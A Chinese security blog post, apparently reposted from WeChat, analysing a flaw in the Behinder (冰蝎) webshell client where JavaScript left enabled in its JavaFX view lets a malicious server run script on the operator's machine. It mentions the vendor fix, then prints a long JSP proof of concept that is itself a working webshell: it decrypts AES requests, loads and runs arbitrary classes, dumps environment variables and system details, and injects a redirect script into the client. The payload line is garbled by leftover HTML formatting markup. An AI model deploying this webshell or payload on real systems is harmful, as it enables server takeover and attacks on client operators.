冰蝎漏洞分析另附娱乐向XSS poc

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0x01 前言

前几天已经被“冰蝎连接恶意Shell导致客户端RCE或任意读取”霸屏朋友圈了。这边我也斗胆分析了一波,并且给出一个纯娱乐的poc。

0x02 分析

根据网上流出来的视频,不难看出漏洞触发点在基本信息处,定位到漏洞点net.rebeyond.behinder.ui.controller.MainWindowController。

冰蝎漏洞分析另附娱乐向XSS poc

问题出在了javafx.scene.web.WebEngine没有禁止掉js,然而我们通过重写webshell的实现,可以控制返回给客户端的内容,这样就能够在客户端执行任意js代码。

关于javafx中WebEngine的使用可以参考这篇文章:https://www.tabnine.com/code/java/methods/javafx.scene.web.WebEngine/load、https://blog.csdn.net/weixin_43314519/article/details/109298065

0x03 漏洞修复

在新版本的冰蝎中,作者已经修复了这个问题,我们看下代码中禁用了webengine.setJavaScriptEnabled(false);

冰蝎漏洞分析另附娱乐向XSS poc

0x04 XSS POC

最后附上一个xss的poc:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>            <%@ page import="java.lang.reflect.Method" %>            <%@ page import="java.net.NetworkInterface" %>            <%@ page import="java.net.InetAddress" %>            <%@ page import="java.net.Inet4Address" %>            <%@ page import="java.lang.reflect.Method" %>            <%@ page import="java.util.*" %>            <%@ page import="java.io.File" %>            <%@ page import="java.net.NetworkInterface" %>            <%@ page import="java.net.InetAddress" %>            <%@ page import="java.net.Inet4Address" %>            <%@ page import="javax.crypto.spec.SecretKeySpec" %>            <%@ page import="javax.crypto.Cipher" %>            <%@ page import="java.nio.file.Files" %>            <%@ page import="java.nio.file.Paths" %>            <%@ page import="java.io.InputStreamReader" %>            <%@ page import="java.io.FileInputStream" %>            <%@ page import="java.io.BufferedReader" %>            <%!class U extends ClassLoader{                U(ClassLoader c){super(c);                }                public Class g(byte []b){                return super.defineClass(b,0,b.length);            }}            %>            <%!                Boolean isGetBaseinfo(byte[] mBaseData) {                    byte[] src = new byte[]{98, 97, 115, 105, 99, 73, 110, 102, 111};                    int i = 0;                    while (i < mBaseData.length) {                        if (mBaseData[i] == src[0]) {                            for (int j = 0; j < 9; j = j + 1) {                                if (mBaseData[i + j] == src[j] && j == 8) {                                    return true;                                } else if (mBaseData[i + j] != src[j]) {                                    break;                                }            

                            }                            i++;                        } else {                            i++;                        }                    }                    return false;                }            %>            <%!                class  Rebeyond {                    private Object Request;                    private Object Response;                    private Object Session;                    private String key;                    private String Filepath;                    private String Data;            

                    public Rebeyond(String key,String Filepath,String Data) {                        this.key = key;                        this.Filepath = Filepath;                        this.Data = Data;                    }            

                    public String getData(Object obj) {                        HashMap result = new HashMap();                        boolean var22 = false;            

                        Object so;                        Method write;                        label132: {                            try {                                var22 = true;                                this.fillContext(obj);                                StringBuilder basicInfo = new StringBuilder("            环境变量:            ");                                Map<String, String> env = System.getenv();                                Iterator var5 = env.keySet().iterator();            

                                while(var5.hasNext()) {                                    String name = (String)var5.next();                                    basicInfo.append(name + "=" + (String)env.get(name) + "            ");                                }            

                                basicInfo.append("            JRE系统属性:            ");                                Properties props = System.getProperties();                                Set<Map.Entry<Object, Object>> entrySet = props.entrySet();                                Iterator var7 = entrySet.iterator();            

                                while(var7.hasNext()) {                                    Map.Entry<Object, Object> entry = (Map.Entry)var7.next();                                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "            ");                                }            

                                String currentPath = (new File("")).getAbsolutePath();                                String driveList = "";                                File[] roots = File.listRoots();                                File[] var10 = roots;                                int var11 = roots.length;            

                                for(int var12 = 0; var12 < var11; ++var12) {                                    File f = var10[var12];                                    driveList = driveList + f.getPath() + ";";                                }            

                                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");                                Map<String, String> entity = new HashMap();                                //xss设置                                //xss设置                                String content = "";                                StringBuilder builder = new StringBuilder();                                if (this.Filepath != "") {                                    File file = new File(this.Filepath);                                    InputStreamReader streamReader = new InputStreamReader(new FileInputStream(file), "UTF-8");                                    BufferedReader bufferedReader = new BufferedReader(streamReader);            

                                    while ((content = bufferedReader.readLine()) != null)                                        builder.append(content);                                }else {                                    builder.append(this.Data);                                }                                entity.put("basicInfo", builder.toString());                                entity.put("currentPath", currentPath);                                entity.put("driveList", driveList);                                entity.put("osInfo", osInfo);                                entity.put("arch", System.getProperty("os.arch"));                                entity.put("localIp", this.getInnerIp());                                result.put("status", "success");                                result.put("msg", this.buildJson(entity, true));                                var22 = false;                                break label132;                            } catch (Exception var26) {                                var22 = false;                            } finally {                                if (var22) {                                    try {                                        return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                                    } catch (Exception var23) {                                    }            

                                }                            }            

                            try {                                return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                            } catch (Exception var24) {                            }            

                        }            

                        try {                            return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                        } catch (Exception var25) {                        }            

                        return "asd";                    }            

                    private String getInnerIp() {                        String ips = "";            

                        try {                            Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();                            InetAddress ip = null;            

                            while(netInterfaces.hasMoreElements()) {                                NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();                                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();            

                                while(addresses.hasMoreElements()) {                                    ip = (InetAddress)addresses.nextElement();                                    if (ip != null && ip instanceof Inet4Address) {                                        ips = ips + ip.getHostAddress() + " ";                                    }                                }                            }                        } catch (Exception var6) {                        }            

                        ips = ips.replace("127.0.0.1", "").trim();                        return ips;                    }            

                    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {                        StringBuilder sb = new StringBuilder();                        String version = System.getProperty("java.version");                        sb.append("{");                        Iterator var5 = entity.keySet().iterator();            

                        while(var5.hasNext()) {                            String key = (String)var5.next();                            sb.append(""" + key + "":"");                            String value = ((String)entity.get(key)).toString();                            if (encode) {                                Class Base64;                                Object Encoder;                                if (version.compareTo("1.9") >= 0) {                                    this.getClass();                                    Base64 = Class.forName("java.util.Base64");                                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                                } else {                                    this.getClass();                                    Base64 = Class.forName("sun.misc.BASE64Encoder");                                    Encoder = Base64.newInstance();                                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                                    value = value.replace("n", "").replace("r", "");                                }                            }            

                            sb.append(value);                            sb.append("",");                        }            

                        sb.setLength(sb.length() - 1);                        sb.append("}");                        return sb.toString();                    }            

                    private String base64encode(byte[] data) throws Exception {                        String result = "";                        String version = System.getProperty("java.version");            

                        Class Base64;                        try {                            this.getClass();                            Base64 = Class.forName("java.util.Base64");                            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);                        } catch (Throwable var7) {                            this.getClass();                            Base64 = Class.forName("sun.misc.BASE64Encoder");                            Object Encoder = Base64.newInstance();                            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);                            result = result.replace("n", "").replace("r", "");                        }            

                        return result;                    }            

                    private void fillContext(Object obj) throws Exception {                        if (obj.getClass().getName().indexOf("PageContext") >= 0) {                            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);                            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);                            this.Session = obj.getClass().getMethod("getSession").invoke(obj);                        } else {                            Map<String, Object> objMap = (Map)obj;                            this.Session = objMap.get("session");                            this.Response = objMap.get("response");                            this.Request = objMap.get("request");                        }            

                        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");                    }            

                    private byte[] getMagic() throws Exception {                        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();                        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;                        Random random = new Random();                        byte[] buf = new byte[magicNum];            

                        for(int i = 0; i < buf.length; ++i) {                            buf[i] = (byte)random.nextInt(256);                        }            

                        return buf;                    }            

                    private byte[] Encrypt(byte[] var1) throws Exception {                        String var2 = this.key;                        byte[] var3 = var2.getBytes("utf-8");                        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");                        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");                        var5.init(1, var4);                        byte[] var6 = var5.doFinal(var1);            

                        Class var7;                        try {                            var7 = Class.forName("java.util.Base64");                            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);                            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);                        } catch (Throwable var12) {                            var7 = Class.forName("sun.misc.BASE64Encoder");                            Object var10 = var7.newInstance();                            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);                            var11 = var11.replace("n", "").replace("r", "");                            var6 = var11.getBytes();                        }            

                        return var6;                    }                }            %>            <%                if (request.getMethod().equals("POST")) {            

                String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/                session.putValue("u",k);                Cipher c=Cipher.getInstance("AES");                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));                byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));                if(isGetBaseinfo(data)){                    String Filepath = "";                    String Data = "      <>       "</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;">+</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"window.location.href = 'https://mp.weixin.qq.com/s/gk7w9ke54uqYi_oJQ-oypw';</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'SpecialCharTok'; color: #4070A0; font-family: Consolas;">n</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;">+</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"      ";                    Rebeyond Rebeyond = new Rebeyond(k,Filepath,Data);                    String data2 = Rebeyond.getData(pageContext);                    Object respones2 = pageContext.getClass().getMethod("getResponse").invoke(pageContext);                    Object so = respones2.getClass().getMethod("getOutputStream").invoke(respones2);                    Method write = so.getClass().getMethod("write", byte[].class);                    write.invoke(so, data2.getBytes("UTF-8"));                    so.getClass().getMethod("flush").invoke(so);                    so.getClass().getMethod("close").invoke(so);                }else {                    new U(this.getClass().getClassLoader()).g(data).newInstance().equals(pageContext);                }            }%>

冰蝎漏洞分析另附娱乐向XSS poc

原文始发于微信公众号(Lambda小队):冰蝎漏洞分析另附娱乐向XSS poc

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  • 本文由 发表于 2023年8月31日01:33:19
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